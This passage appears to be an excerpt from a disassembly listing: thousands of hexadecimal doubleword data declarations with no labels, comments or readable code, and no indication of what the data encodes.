887590B0h dd 9BECC4Eh, 5861A129h, 0E300EF11h, 39B37940h, 0A500D25Ch dd 8C3804BDh, 360F252h, 3B7345CBh, 50002153h, 7575031h dd 3B79932h, 0F5C41D35h, 18ABCF60h, 59D48830h, 1F1AB298h dd 0C971E443h, 541117F2h, 8BE1841h, 8D9446AFh, 1141C5C4h dd 30C6AFB4h, 0A04DE2Ah, 9DF81091h, 0BB048C87h, 0CAB82900h dd 0B90A3118h, 0E899303Eh, 0F5F06C00h, 7CAB3A42h, 77E83571h dd 372C0118h, 0F8E49F9Bh, 0B50AA4D1h, 0A0245005h, 4C634A64h dd 41A105B8h, 0D7E9448Ch, 0EF794401h, 0E81EAD97h, 8409F844h dd 91201FBCh, 754080F5h, 24F719Ah, 195721C8h, 2840AB3Eh dd 23015124h, 3C72900Ah, 0AC481868h, 0AF718C46h, 0E5943F13h dd 0E3204439h, 0D9C403AFh, 0A1E97CEDh, 0D67E9DA0h, 85055102h dd 4C50CACCh, 23894330h, 0C44D1D47h, 6239A102h, 45D820F1h dd 50B71479h, 2C4A00D0h, 0A1983B3Ah, 7306BA6Dh, 0D142F1EEh dd 0F6AB1298h, 0B32822C3h, 9149E506h, 18EFD128h, 807C030Ch dd 5CE11FD8h, 4446EEFAh, 0D8024346h, 0DD9440AFh, 10BF98B1h dd 9AFAE0Bh, 6EA618C0h, 0C074CC25h, 0B7725F3Eh, 579BCA1Fh dd 1845FB09h, 88E40ECh, 0B4FCFDD9h, 33407F64h, 0F8688E48h dd 72EA3B00h, 43960DCEh, 18C80CE3h, 0FE29ABA1h, 241E8B16h dd 614F7400h, 92373C73h, 6BB403C8h, 26B113B0h, 0F9222803h dd 0A24C0DD2h, 0CDA084DAh, 0B5DB9D40h, 0F1305C92h, 60F33016h dd 728A06D0h, 5020EC3Bh, 31C0EBECh, 2426BD48h, 9D432E3Fh dd 6E5000AEh, 5A6D62BEh, 46FEE3Eh, 40272938h, 40B9A083h dd 220E039h, 3B74249Ah, 1C681E03h, 100755Fh, 5070B94Ch dd 0C039A51Ah, 610553E1h, 174CE128h, 0F16D06C0h, 504004A8h dd 88EC4CE3h, 0C1A0EAB9h, 0D7F2E50h, 6881B403h, 0CCDD3B23h dd 0A0522493h, 0B2B9DAA8h, 2D80010h, 576F4D5Bh, 37326EFDh dd 480B0855h, 13FBF700h, 4C47F5Ah, 0CD8242Ch, 973A12Bh dd 0A2BC500Fh, 3012208Ah, 6EC5F319h, 64757928h, 3FE0AB0Ch dd 3C1185h, 8EC6C25h, 28430220h, 80006277h, 660B96C7h dd 264117E5h, 120942C1h, 0B56C4024h, 0B32DBF1Eh, 0DB054C05h dd 4403F5EDh, 98B90942h, 562F18h, 0C42C0D46h, 0BBFBC2F7h dd 0EE505561h, 3180BEEFh, 40788C37h, 6C03F391h, 45069328h dd 9496E8ABh, 0D09B004Fh, 2F4B8F55h, 3B126E97h, 2007CC6Ch dd 0CF202DB5h, 0E4ABC8CDh, 0EA9900D3h, 0DB9452BCh, 24305E73h dd 0F86C4056h, 582D608Ah, 0DC99DA11h, 7D9CBB0Ah, 2EDEC44Ah dd 1FCC651h, 226A10BAh, 40F0EC0Ah, 17A1AB00h, 0A40C2728h dd 74FC51EEh, 40B0E430h, 0B3492288h, 0F3EE8548h, 0A2384001h dd 8143F92Ah, 0F6E826AFh, 0C5465E04h, 264CA301h, 0D627AC7Ah dd 7E7B9460h, 24A2A0E2h, 18423041h, 43AF08BBh, 0C2C4C594h dd 0AFB50E40h, 7E0722CFh, 0A30B20EFh, 7EB93B03h, 92B174F8h dd 0AD1D0710h, 704B1A96h, 8552EB0Ch, 0ECBF7200h, 0DE14573Fh dd 9BFCFA5Ch, 8E410044h, 0B544FDB2h, 30824486h, 418E4900h dd 4B8B719Dh, 68390A22h, 2A87048h, 4CEF621Dh, 0C4109453h dd 6F793061h, 3B5434BCh, 0ACFA4428h, 0BD7C9700h, 0E426ADA4h dd 0B60412C9h, 7AD898EFh, 204E5581h, 999F5C11h, 4218FDD8h dd 0D1B38E2Ch, 88116C21h, 8E4A3500h, 0ADF0A143h, 407A1A07h dd 0AF009FB6h, 0C7AB3DC5h, 8520A0C0h, 17B404B5h, 8380C879h dd 86811900h, 9D611D31h, 126B009Ch, 3675E5A9h, 680528B6h dd 71FC96B7h, 0A1AF940Eh, 305B4AD1h, 91D7C20h, 0C8503B7Eh dd 0F731A823h, 10E976C7h, 7FCDA900h, 4720671Eh, 0E4C0015h dd 0BA77C071h, 4E33ABFDh, 0E04B28FEh, 3E167672h, 6E14F7C1h dd 0F27CA002h, 2C5A24FDh, 3E6F03CAh, 881E80CCh, 0CE18F0A2h dd 130217E0h, 417273BEh, 0A718B88Ch, 7401D275h, 1980CF39h dd 5E55C94h, 562C26ACh, 0F712A485h, 88E8F40Ch, 0B9541895h dd 0D1F02008h, 0D09FCF03h, 81ADA637h, 0E460A8B5h, 1EE887h dd 0B1C053E4h, 9AF38B97h, 3D8D0500h, 0EF660FDBh, 1D3000B3h dd 120ECE32h, 0F707DEE0h, 9CCA2D80h, 0E770B3h, 0B3729210h dd 0EEB213BDh, 119593Ah, 97EB597h, 75C82C14h, 679100B4h dd 394B9A94h, 0B2068CDAh, 8B981D54h, 8460C438h, 450900A9h dd 0EBCC202h, 0AD38CB91h, 7F2CB5h, 0FCD8F289h, 0B3249FD4h dd 2C82CB00h, 29AEC125h, 0C82203E1h, 0C0E83214h, 0A0A3A100h dd 0EF2E2F9h, 0E69F280Ah, 8FA000Ch, 322F9765h, 84B9C0h dd 0DE62451Fh, 3BADF471h, 0BE5B831Eh, 14B19198h, 49E260DAh dd 0E7112FB5h, 99A45000h, 0A9576E7Ch, 416006Bh, 338AB1D6h dd 497FC365h, 96885300h, 8E38590Ch, 3E392C3Dh, 86D00098h dd 3A923691h, 37E19E00h, 0CB48C94Bh, 167D05h, 8189998Eh dd 0EEC079B9h, 0E8D98226h, 466E1D06h, 0A0060140h, 47D259E6h dd 0A203D4B6h, 13613400h, 7F446DA7h, 0D80C0084h, 0C2147AD9h dd 0EC006086h, 6E364730h, 921665h, 0FED57B88h, 52C618C5h dd 0AD6D8006h, 3DA0E80Ah, 0AE008E60h, 8D51E44Ch, 0B1062628h dd 0D211C9CBh, 20E81D20h, 0DF350777h, 84D31057h, 0B4002971h dd 0B690EC27h, 0A8037Ch, 98959BC2h, 791E508Eh, 15004FE4h dd 0BE4D4A56h, 49FCE8h, 0B103331Fh, 0F00CDF55h, 1253061Fh dd 640C651Eh, 3D381163h, 518AD52Eh, 80A45F3Bh, 3D48718Fh dd 520046C5h, 0A95614Ch, 6EFD2EBh, 2955539Bh, 455210DAh dd 0E4C1AF04h, 0F30BF09Eh, 0C0A3B3F0h, 0F50ED903h, 0C046ADCCh dd 41E132h, 67B1E4D2h, 33DAEE1Eh, 39293564h, 11DDDE21h dd 601166FDh, 105D122Eh, 989E054h, 9C182841h, 0AA10A112h dd 0B5434004h, 44526544h, 728985A6h, 7C9D5E4h, 84A8FA5Bh dd 0E24D3091h, 9E012903h, 6C9B8255h, 17F985C5h, 399C64C0h dd 48005EE7h, 0E31AE639h, 900010DEh, 66C46270h, 30C8BA98h dd 0ECB6CC36h, 40075878h, 1E4D0A34h, 5F258800h, 5B0800DFh dd 0D542CD9Dh, 523EB0BEh, 0C5480011h, 0D39F4A9Bh, 0AFA30F0Eh dd 43E07FB3h, 36CF591Eh, 0DC8C5F00h, 4CE0385Eh, 525700E3h dd 3FCDCBFBh, 3E008429h, 0B136CC08h, 25B69832h, 0A70D5D6h dd 0DC46F828h, 65F41E2Ch, 4E560A00h, 6C1F63Fh, 0AF822768h dd 14031131h, 32EEFE4Dh, 0FA6CF061h, 1927795Ah, 49D7DC17h dd 0E060D54Ah, 5B00F915h, 74510DF1h, 74556BDh, 8BB29039h dd 0F774C963h, 24D2EC00h, 0C31E07h, 425004C2h, 0D5B1CA4Fh dd 638C8A00h, 58E4DD96h, 0ADF07Eh, 841FEB2Eh, 204A3A97h dd 9830290Eh, 540B8335h, 675AF09Ch, 0C06F0CB2h, 4218A92Dh dd 56FD9E07h, 0F4200F86h, 3EBEC1h, 0A08AAB82h, 4BE9D963h dd 7C692E01h, 13CBAA42h, 12C7C4h, 5CA37D04h, 382F8BE9h dd 41FA6B00h, 18D8F11h, 49B50F56h, 34C02393h, 5B40CFA5h dd 0B09ADA00h, 2167E532h, 4D0B011Fh, 79EFA6Ah, 6620FCCCh dd 2877E600h, 6DECEFDEh, 281E60D3h, 92DD0A8Fh, 4A973D0Eh dd 7E198310h, 0D7B9B145h, 2F724C0h, 236C5539h, 0B8808016h dd 5CDFB067h, 0B52E000h, 972492CBh, 0AA08013Fh, 0F777E329h dd 467EF875h, 0E80347FAh, 847254F8h, 0F67E8C4h, 90870735h dd 1002BC8Ch, 7229F503h, 7F524203h, 0F897F9DBh, 8A5196h dd 7BDACFDDh, 0A9A502C0h dd 0EACAFE00h, 9515469Ch, 5D2100B0h, 0C15440A1h, 0F548EE16h dd 62C2F028h, 0B4D00CFCh, 3DFE1895h, 6FB6091Fh, 9EF83940h dd 30F6BAC5h, 0E3183805h, 100A82Dh, 7FA96C0Dh, 0E744011h dd 44AFA60h, 76B1B220h, 0C2043C38h, 2BC91816h, 0FCE044D0h dd 0F8F77BA4h, 102300C4h, 9C8E7DDDh, 45020F4Ah, 6E7E833Ah dd 36E540AEh, 30A9E4B9h, 3878429Ah, 26007B52h, 0C354D348h dd 0E0CC23h, 7696FADDh, 912BC522h, 7EE2D200h, 0AA1DAFCh dd 9F0B3B20h, 0BEA52D00h, 13FED864h, 243A2177h, 7505876Ah dd 7D62491Dh, 0A6E88009h, 401EC57Eh, 38003F7Bh, 0DDB83507h dd 546A2232h, 11F0AEh, 7F8FBC09h, 3E762BC1h, 0C09EEC09h dd 3C188020h, 0B8401FCEh, 0E84B28A6h, 59EA05F0h, 2A7FBBh dd 0B2A3FAE8h, 12019DFCh, 691AA47Ah, 0ACD1294Fh, 3E69ED4h dd 25D2018Ah, 68A19F4Dh, 23543048h, 0B2E26201h, 0FAEFDF29h dd 30E605C0h, 65A28A28h, 0D7243ECFh, 9300AC92h, 0E1C4D95Fh dd 0B66C14CBh, 8314A44Dh, 0FD04AD1Ch, 0C0A655A7h, 3C139144h dd 6C432400h, 0BFC1E6ABh, 0D13A0EB9h, 61A06249h, 9F8FB437h dd 32CD959h, 61620BDh, 0DC44C0D3h, 99F202C2h, 3708D79Ah dd 0E05F440h, 6678D00Eh, 38005276h, 591D5F20h, 7CD00E4h dd 7116D117h, 3A7D2ABDh, 0A83F4Ch, 0BC6CB063h, 0F05EE1h dd 2A0FA11Eh, 40CCBE1Dh, 0F4EA7D00h, 8797AC33h, 2CF8E8h dd 8B760C21h, 0F9C0BDE3h, 9A33C300h, 34667A38h, 13BA007Eh dd 5D723C9Ch, 0B67B27ABh, 74821C0h, 37F5F32h, 84106EB3h dd 90D7BB4Ah, 0FCD65681h, 57540800h, 8720A1E1h, 0C64600D8h dd 0D4BBC15Dh, 9107D5F0h, 6F7A5FD9h, 1970EC90h, 34475B2h dd 0EFC6BDC3h, 2BE01268h, 72F63978h, 2085E51Eh, 799C6EC0h dd 4CDDD26h, 4CCB4EB3h, 0BAAF40F2h, 0AC5C9h, 3A71F580h dd 0B647396h, 0AC00E97Fh, 615ACE47h, 40449Ah, 2C9862DCh dd 0AF875B56h, 0A3C2B800h, 6AEDFA05h, 0C7CD07B3h, 606CEB1Ah dd 71783845h, 0F69B7000h, 15848297h, 9CC43C87h, 80372B81h dd 6104B8ABh, 1A81F408h, 0A5C55200h, 51BD6FF7h, 0EB7616h dd 0CCC15C3Eh, 39232B4h, 98964A24h, 5E2EE780h, 0D460DCh dd 0A6124D87h, 2988C516h, 0F763C607h, 0FEE0197Ch, 3BC9A3C7h dd 0F2807A68h, 0E7784504h, 503EF8Fh, 833D0C11h, 2B749181h dd 5BFED200h, 68002098h, 1E5166D7h, 484DB4B8h, 4404DC6Ch dd 407253D8h, 891A142Bh, 549600C4h, 0F36A3606h, 0D00CC30h dd 613BAF2Dh, 729FD2h, 0AC826002h, 18AEB95Ch, 93440A00h dd 0D7A2D3B3h, 80FE640h, 3038974Eh, 0AFB8AE04h, 5D8D64D0h dd 0D8A23FF8h, 21C46C00h, 0DC3D6966h, 0AF2A8C00h, 131F870Ah dd 43CA051Bh, 8056903Ah, 0B6427D94h, 0BA083D07h, 0FF10EBBBh dd 72A28C7h, 9B0172Ch, 0F7C5016h, 2700742Bh, 0D42E56ECh dd 0E69F1542h, 0A1791CD3h, 320B8FEAh, 0B08A4040h, 50034AD2h dd 0D33CCE54h, 4016DA9Ch, 0E677F8h, 0E27B3B76h, 9089DC8Eh dd 88399200h, 0BA10C303h, 0F6C20160h, 46CBFAEEh, 0EDAAFC56h dd 7A743B00h, 0A28F133Ch, 2E930129h, 2BBD145Dh, 91B2E80Ch dd 0D680BB00h, 6423D5EFh, 0C9AC0030h, 0C6EE496Ch, 2B3BB17Dh dd 0EB0B009Eh, 0D5236F7Bh, 1FA6ECA4h, 0A5F287h, 50029E26h dd 7C076BB0h, 517020BFh, 0FDAFEFh, 628AFE2h, 792C0017h dd 40C18134h, 4A3C6DE1h, 260180ADh, 0A88933B3h, 0CC4B0043h dd 55097A19h, 0FB0E6E2Ah, 277BEF5Ah, 0C09FF090h, 2FE96C52h dd 0D53300EAh, 270FF5FBh, 0B5C9228h, 3F30016Ch, 0A1F2F59h dd 0F236D1D0h, 3CEA00C0h, 209493C8h, 0C7006261h, 1EB24118h dd 148F951h, 1C25ACE1h, 0E4FF40C2h, 0B1039B3Dh, 15AFB94Dh dd 0F1D0BFE9h, 78ACA7h, 6C276A0Ah, 0C7E293CAh, 4EDC5900h dd 0C21BFC5Fh, 466603FBh, 9817B3CEh, 0C750EA98h, 0A0C3EE2Ch dd 3D755300h, 0BA61FCBFh, 85CB0014h, 0F808B519h, 860366E9h dd 0C96038A8h, 87D5E043h, 77E700B3h, 0E5363FEBh, 0DC00BE2Eh dd 0B052132Fh, 3C9E7C01h, 0E6A6C1F9h, 81142E67h, 0E0395866h dd 0C4D3F01Ch, 4D4A9D00h, 0D83E5201h, 0EDF0F6Dh, 17E3C6C9h dd 5EA88286h, 0FD011B83h, 0F85C09F0h, 2DCE75Fh, 791718A2h dd 0CC29C0D7h, 0B8477B04h, 0C0A09E5Bh, 0E8FC072Fh, 0C07263A8h dd 0A6B2DA59h, 98C46630h, 7CD78A7Dh, 45870080h, 3A69C9F8h dd 4F0EA6F6h, 0A0AF63D1h, 27883FB5h, 5AC78E2h, 0B0B6BC94h dd 0F82C804Dh, 93002411h, 5E9D80FEh, 95177F4h, 92E110E0h dd 87619042h, 24B82257h, 9C3D0449h, 4E56EC56h, 2BA35500h dd 50E6CEh, 46D8476h, 633EF291h, 446AF400h, 5125AAF8h dd 0C25A0096h, 0DE68CB8Ah, 16198613h, 9469802Ah, 0E0EC8D42h dd 0BB3E84h, 8C0D2FDEh, 0E4E27923h, 0A4E9507h, 0D0F06675h dd 55BD996h, 0B0ECAAA5h, 81A0D0B3h, 0F800C8DCh, 310122B4h dd 66CF61h, 0AFB14E5Dh, 4D915EA9h, 300BD530h, 1CDCCCBh dd 976DBE49h, 0E87EAEB4h, 6005709h, 788B6F69h, 6BDF0DEh dd 0A115B68Ch, 684469D8h, 60791293h, 360000C5h, 0E9E209C4h dd 0B7E55800h, 4E9C395Ch, 41B06Ah, 10E3D564h, 405F723Eh dd 86D18300h, 1CA8A22Dh, 60D6E8F4h, 7AEC99F0h, 24B8D8FAh dd 39317119h, 3DF4A319h, 0BF9000D9h, 1F2D4DF3h, 3B0774BCh dd 56A65DA1h, 0CD9AAD60h, 9621EF2h, 0AFA2C036h, 0C4596B1Eh dd 9815FC0Ah, 0F300C149h, 6538690Fh, 1458BACEh, 0F459F657h dd 877C2B00h, 0D05F22D4h, 88E48CA8h, 4295D712h, 0E8A90000h dd 0F3BF846Fh, 7949DC8h, 3C778C7Fh, 53ECF06Ah, 3B000EFAh dd 0F420DE30h, 3F6D8A4Bh, 0E518B641h, 0F77A7028h, 0B82CB08Ah dd 90035DF8h, 0AE27DB00h, 300AD1D2h, 730011F4h, 9C8D2B4Ch dd 0EC89F4Ah, 451D3A74h, 0C7BC49E0h, 0F41AE346h, 62103BFAh dd 0AC48A177h, 8DD0EC96h, 0E96E010Bh, 19B37522h, 93AC400Ch dd 2500D41Dh, 0F9C33C9Fh, 1D67D180h, 0C06A66D5h, 0D0593797h dd 0AF1DDB39h, 0C82A9EBEh, 3842CD4Ah, 80B32F70h, 67F5A194h dd 42B2009Dh, 0D348969Ch, 0BA016055h, 6BD69532h, 0A0E2920Eh dd 7B9E1DA4h, 0F9F1C005h, 6AB67401h, 8330BA48h, 1F26D998h dd 0C007FB21h, 9F8916C6h, 9324FFF4h, 0C18524C2h, 8C009730h dd 0EEB4167h, 0D3620B6Ah, 0F82190C2h, 24DCA22Fh, 780AE724h dd 0BCFE8659h, 0E93D2A87h, 60F2A2E2h, 34C837h, 0E624018Ch dd 0A5759D5Ch, 0C049100h, 1FC1F661h, 8580103h, 527B8C73h dd 4930F0B8h, 0D00E4A01h, 0A47DA13h, 3A4278D0h, 1D0026FEh dd 6C61D68Bh, 0B91FC3AEh, 44813410h, 3702277Eh, 0F2576C0h dd 0ED732459h, 7FC80F2h, 4300D2A0h, 0C8B5DEEh, 4C0BE04Eh dd 5A000859h, 72A8460Ah, 20B81801h, 34122492h, 0E4CE611Ch dd 81B9530Eh, 0F4300097h, 0F0075114h, 7F02EF98h, 25E3BC01h dd 0A4C880AEh, 25841C1h, 17F8538Bh, 944ACF0Dh, 4606EC2h dd 0BC2447E4h, 0DE8790EAh, 4E504F78h, 27E58Ch, 54AF3863h dd 5BF308Ah, 830F851Eh, 66F0E1C3h, 876DA8ACh, 0E66C0039h dd 33C9DB58h, 8B3DA24Bh, 0F84FA87Ch, 0AA826500h, 37A4AF36h dd 101100A5h, 1AC1FD28h, 321FA212h, 0E65D8069h, 0C52C54C7h dd 0F8BB8323h, 71BEB3Ah, 5A5BE948h, 0D22D04Dh, 23B17A5h dd 7C4805h, 0FD708793h, 58EEE2BDh, 3A48E9CFh, 17DB3600h dd 881402B8h, 91086800h dd 151633BDh, 0E3B739ABh, 0C0541E1Eh, 0B8E94A25h, 920BB470h dd 800E08BFh, 0F051EB38h, 0DA545C42h, 0FCFB1902h, 0B4793FC1h dd 92F66600h, 287082h, 0B68626F0h, 6E89226Bh, 7C039E7Bh dd 1D2D942h, 1057E013h, 0A9CE0B27h, 6201284Bh, 0BD91C0F1h dd 50387329h, 40A717FEh, 4717E800h, 1B9BD6h, 65C0E746h dd 0A6E503C7h, 87B4341Fh, 18CC3780h, 3864BF8Ah, 9006B0Ch dd 0D2DD2974h, 173BFE7Fh, 0D64F00E9h, 320F3D68h, 0AF5C0161h dd 65A13E25h, 59D0435Ah, 0CAD814B0h, 0CCFB4C00h, 3A1EDB37h dd 343600CEh, 7349FC84h, 0B018A13h, 0E0E858F2h, 9C70A246h dd 54041E42h, 0C1F7C017h, 0BD6E3EF3h, 0FF589EEEh, 57BA01FCh dd 1BA178A2h, 30702F4h, 7AEF43CDh, 0BCB988C0h, 8228B8FEh dd 9B31F86Dh, 3D804896h, 30E14D21h, 0A0225600h, 48B38453h dd 479E0E13h, 345D5440h, 5FC398h, 0D84AEA36h, 65DD52DFh dd 490493F0h, 94F58AADh, 636E8D40h, 509072B7h, 3D525314h dd 21C530B3h, 0BB7DEAh, 64196BFCh, 43C784D7h, 0E2577903h dd 4B1CCB3h, 0D27DAC19h, 0B068D023h, 0A100AEC2h, 81034435h dd 0EFC14268h, 0F7F0EE71h, 0B4F9005Dh, 0CB3C9695h, 0F803C792h dd 5AC01B1Ch, 3E780E1Dh, 540074F9h, 9764F405h, 0AC316D03h dd 0E8B30E7Eh, 39AD59ECh, 6902B9E2h, 8F354962h, 69559487h dd 3CB88840h, 82320439h, 0C63BA116h, 418B40C7h, 96E00095h dd 5FCB0AAh, 0DF136C53h, 580128EBh, 0FAE3A5E7h, 0C7FB7FF9h dd 1AE07C57h, 31CBF32h, 19B9E80Ah, 0EFD915C5h, 2179DD43h dd 4E4C400Eh, 6CB68DA6h, 17F7EA80h, 0EF06365h, 0C1F31072h dd 0C282FABCh, 0FE08E51Eh, 0EDBA38C8h, 6513860Ah, 1101A03Dh dd 6E6B844Ah, 97D485C9h, 596900FAh, 90A173A5h, 5E00B0BAh dd 99577A2h, 236CBB8h, 0B76E6D25h, 5440B5D6h, 1916DC49h dd 8CC03E30h, 80476678h, 0E38BD6C6h, 0E833BA40h, 35E774h dd 7EC90EE4h, 22DEE954h, 0B2E64700h, 0F06A9F36h, 0CBB493Ah dd 18A26F00h, 1BB7CC98h, 0DAFC0754h, 4282658h, 0B5A341D3h dd 38C74880h, 11AA008Fh, 0A57306B8h, 48B1ED13h, 0D19EB500h dd 0AA7EABh, 0EA663049h, 3788CEADh, 4BB77CC0h, 3915B818h dd 340A80D6h, 0CC90F3h, 9DB335Eh, 0C4000753h, 11C2861Bh dd 391A7862h, 66007F71h, 0DDE0A972h, 1F011479h, 347EDA9Eh dd 0CDEC1AB0h, 43F8E9h, 0A984FC4h, 3BC8A524h, 0B1AA3D00h dd 2D7D39F6h, 0D3C62CE0h, 0E1B70010h, 82702C30h, 0E2045AEAh dd 58D44954h, 78980FBh, 0E30029A8h, 0D974170Eh, 124AA38h dd 48F4D443h, 34A55F77h, 930B6C94h, 80A65390h, 0CEC24264h dd 8CB22Bh, 0A76FAC92h, 57291814h, 0C28DD804h, 80C03674h dd 18B5DF81h, 1037E03Ah, 5F160A2Dh, 38C7C76Dh, 0BF48B014h dd 1E07F8h, 0F8F4C5CDh, 0B64BA5A0h, 0F2C4B850h, 0C226EE02h dd 80877C59h, 97486CDCh, 5760Bh, 4458CFD5h, 5A74958Ah dd 933E3190h, 188C24DDh, 630B7101h, 0FEF0273Ch, 13107699h dd 2BAE7ACh, 17C6C170h, 90D08440h, 39AEEF00h, 9AC85B12h dd 7E18C044h, 0A08FEEB9h, 0A6F93C00h, 6143D83h, 0DDBD01DEh dd 80BBAB0h, 0FDE3EA51h, 2E6728C8h, 52775D00h, 0B5B18DFEh dd 0A91100D1h, 194197E6h, 0AB00BBD4h, 5C0BD0EFh, 1EA2FA6Ch dd 40ED87E0h, 7DC0AD4Ch, 9CA8068Bh, 44EA4EB1h, 3BC2A301h dd 657019BCh, 0D18BD4h, 83CD73B4h, 9CCE1A84h, 803BC4BCh dd 10AE747Fh, 3A318D1h, 0D6A6F68Bh, 2E98FBF8h, 0C8906A60h dd 8026743Ah, 8DD43DECh, 3C82A31h, 0D23C3B1Fh, 0B0EFE1D6h dd 8A396481h, 0EEF9B500h, 0AC049B56h, 8B0E0426h, 0CE6121D7h dd 53007414h, 63F0BAE4h, 0A2FC67h, 8F5F97E3h, 0B534DA88h dd 9BD2402h, 0C014B90Fh, 0FAA6DE4h, 3E2C9899h, 55AF1260h dd 8500E9C5h, 0D7D66817h, 6C3006h, 0CCE357EEh, 0C7C936F0h dd 0FD47FB00h, 0C4C6F69Ch, 17300094h, 0BA486EA8h, 79003D9Eh dd 0FB8C47F3h, 904921h, 0CE4FABEh, 0EB4D6092h, 341D8000h dd 6CECBCE7h, 81E240h, 4B506F83h, 9815608Fh, 7CC46401h dd 6CB5EE56h, 12849760h, 0A0E2D785h, 0D6006EE8h, 7F7CE772h dd 7EE669h, 96E46025h, 91902C29h, 9D304E0Bh, 8E3400AAh dd 2C66409Fh, 949587h, 0D6BCA80h, 9200B13Bh, 119363Ch dd 61A95D0Ch, 0E2EB60D6h, 78DC3880h, 0A00E37Ch, 0EFFC669h dd 28C254DDh, 2F102C53h, 0C20BA8Bh, 47781D59h, 77FA0102h dd 62F14F63h, 80870FF0h, 86A9D26Dh, 6949004Dh, 57BF12F5h dd 0FD05D6DCh, 186C77F1h, 0A4D2E0D0h, 0FBDF03AEh, 0D8627801h dd 0E73320A7h, 0FF00D7C5h, 1167D1BFh, 0C4069Fh, 8729EB52h dd 73CF6CAFh, 750E0300h, 6DE7FFD6h, 0A01DF623h, 5408C62Ch dd 86A4DFh, 5A80031Eh, 847C0270h, 6CE83228h, 0D6AB5D1Fh dd 0F0E4870h, 2ADF6CDh, 0F6E18746h, 0B1C061D4h, 5C00E020h dd 0C0A747ECh, 924D9h, 910D32EEh, 0A06525ACh, 98E38F00h dd 602A6AC5h, 3023006Fh, 0BA5A4A10h, 8E0BCA6h, 140CA074h dd 815C0ED6h, 281D703Ah, 18CC1964h, 0B9D74918h, 460F5D2Ah dd 82D9CBE1h, 87D44D58h, 4448A20Ch, 0C1963121h, 0D3420508h dd 9FB41A10h, 0B56261F0h, 46EC403Dh, 0DD5FC110h, 0E65BEB0Bh dd 2300D829h, 4EFCE4E2h, 21C19176h, 6093B3FDh, 6157F360h dd 166C8144h, 0AC1C403Eh, 2D00D5D7h, 6D50344Eh, 78D30F87h dd 57DA025Dh, 245FCA2Eh, 30FBD4CBh, 432769C1h, 62C15908h dd 4155121Fh, 0A0E04144h, 91EE06FEh, 0C9D8B446h, 0E155808h dd 0C87D0A82h, 0BFD180ACh, 9BCE2BB3h, 679AFF01h, 53EE330Eh dd 10849848h, 1876E657h, 82390C0Dh, 27F4AE0h, 0B4ECFB44h dd 0A2BC1883h, 0CE8F4800h, 20D581F9h, 7AE726BAh, 72003817h dd 749CB79Bh, 5AFF076Bh, 64804B14h, 3B7091h, 0D2430764h dd 23E0D461h, 0BE244h, 843A2BF2h, 6CD8022Eh, 0F3089866h dd 0E7460021h, 0E636442Bh, 4B0022A8h, 0EB739AFBh, 36BEE32h dd 5C5FC9DEh, 458095C5h, 0E501B922h, 1F2D5854h, 2B6006B1h dd 0D5E32A8Dh, 0D9F207ECh, 70014A16h, 0E553DF77h, 0C42908CAh dd 16D59580h, 1C9C65EDh, 41EE1DE9h, 0AE57C62Fh, 14A447ABh dd 0B1801EA9h, 97179DDBh, 0A87B54E4h, 0E691D4Bh, 89AD8070h dd 4828C1A5h, 66F4A009h, 83647AD2h, 0E608C84h, 84747E2Dh dd 0D308208Ch, 2BE32200h, 266F7C94h, 0E6B9879h, 0EA985DBEh dd 4B4A68A0h, 8C0A5829h, 0FCD265D9h, 2406F611h, 804B4CF1h dd 77A7EE0Ch, 139318AAh, 205C1C0Ah, 0A2852528h, 8E6F0B01h dd 97C6D6FFh, 211A0898h, 0A2008D06h, 0C35514FAh, 0AD83902h dd 35E91892h, 0EF9805F4h, 4ECC01F3h, 21335DABh, 0D2F1F87Fh dd 0DC0AD300h, 994A9515h, 39320012h, 0D58D1440h, 68002D72h dd 0FCEF0CC2h, 709C590h, 0CBF44E30h, 8C7C40FBh, 0E807A14Ah dd 3974AA8Fh, 0AE476E10h, 0D5750005h, 4E8E267Ah, 0A3009686h dd 2FED0A13h, 90887B7h, 0CBEFEC75h, 7C805901h, 0E4408793h dd 4DB4AD8Ah, 902A5E80h, 83A6611h, 0D100217Eh, 597FCB85h dd 0C0314EEFh, 676EC280h, 846348F7h, 1458D10h, 0E1DFA390h dd 80E509FCh, 534D5910h, 0C4391ABh, 8B90788Eh, 0E4603C08h dd 53555020h, 0A1E20735h, 0E0FE974Fh, 82760CEEh, 0CEA6DF00h dd 0F1186511h, 0E4F1CCCBh, 7F8C7AC0h, 0F94711AFh, 80A68891h dd 2DCB87D3h, 600B60Fh dd 1BBD3661h, 26E1115Fh, 14C0F2FDh, 0F880A8E7h, 8E784AC6h dd 0B3C36C50h, 0DCEDF43Bh, 879813E4h, 0F51C00AEh, 0F0C05521h dd 7377CB5Ch, 594214C0h, 0C7EA7C4h, 7D523B39h, 1400AA80h dd 1DBF1F56h, 1DAE6B92h, 0A3049F5h, 940FEAh, 571F7F5Bh dd 830627EFh, 0CCC22BDFh, 1F615E8h, 0FB2EDCD9h, 46E10078h dd 8E1C8375h, 0F81EAC00h, 339A6B71h, 0DF930044h, 72A3C4EBh dd 8600D8B5h, 0A21F02F5h, 3FF293Ah, 0A63CA4ABh, 0FDF88910h dd 0F2002AA7h, 39E6A9FAh, 0D02DC7h, 26EF7888h, 3ADC6643h dd 7F714A00h, 0EB2ECB89h, 0C17A50h, 697295D7h, 0D9972D6Bh dd 0AA00AE79h, 3B7E65D6h, 3E22CFAh, 388F5560h, 68904B53h dd 0C618E178h, 0C9D4A4BFh, 0B08E0050h, 774F1D0Dh, 2800639Dh dd 9E9F856Ch, 3BCE48h, 10F1113Dh, 0EC5EC5E8h, 0E9EB5503h dd 0E8B64B02h, 4A3CE08Ah, 78D5BDA0h, 221758h, 0C13E20Eh dd 0F1F769Dh, 0D19A2736h, 9434F680h, 1D60E608h, 1F161840h dd 13431893h, 511C10E2h, 3835CD0Fh, 200F5E30h, 0EBF8E037h dd 1191ADBh, 0C3474C5Bh, 40EA716Ch, 54919444h, 282CD600h dd 1C9E7858h, 0EFE41Ah, 33A39580h, 0D46690B3h, 8663E600h dd 75F78456h, 4AA8002Eh, 7A09F092h, 5375770Eh, 404B78C0h dd 3EA1FA74h, 1C00CAC4h, 5E877CE1h, 94609E05h, 0E6CECCA8h dd 9A58009Bh, 0A281DAB4h, 80066FB7h, 428E02DFh, 168904F0h dd 0DACB12h, 73C0B34Bh, 10F629h, 89BA399Eh, 0F25A529Ah dd 0BFE60918h, 10AB629h, 21339D84h, 9FDC6E62h, 45806119h dd 56524223h, 0BF140255h, 0BECF3E33h, 9C50049Fh, 10F661F1h dd 804A0F75h, 994C1BD0h, 0BD4D95h, 3E46BEE1h, 0ECCED51Ch dd 0CF761904h, 21C1EB4Bh, 29889321h, 3B00BC6Dh, 0F00EA053h dd 892D1CAEh, 0FA84CF44h, 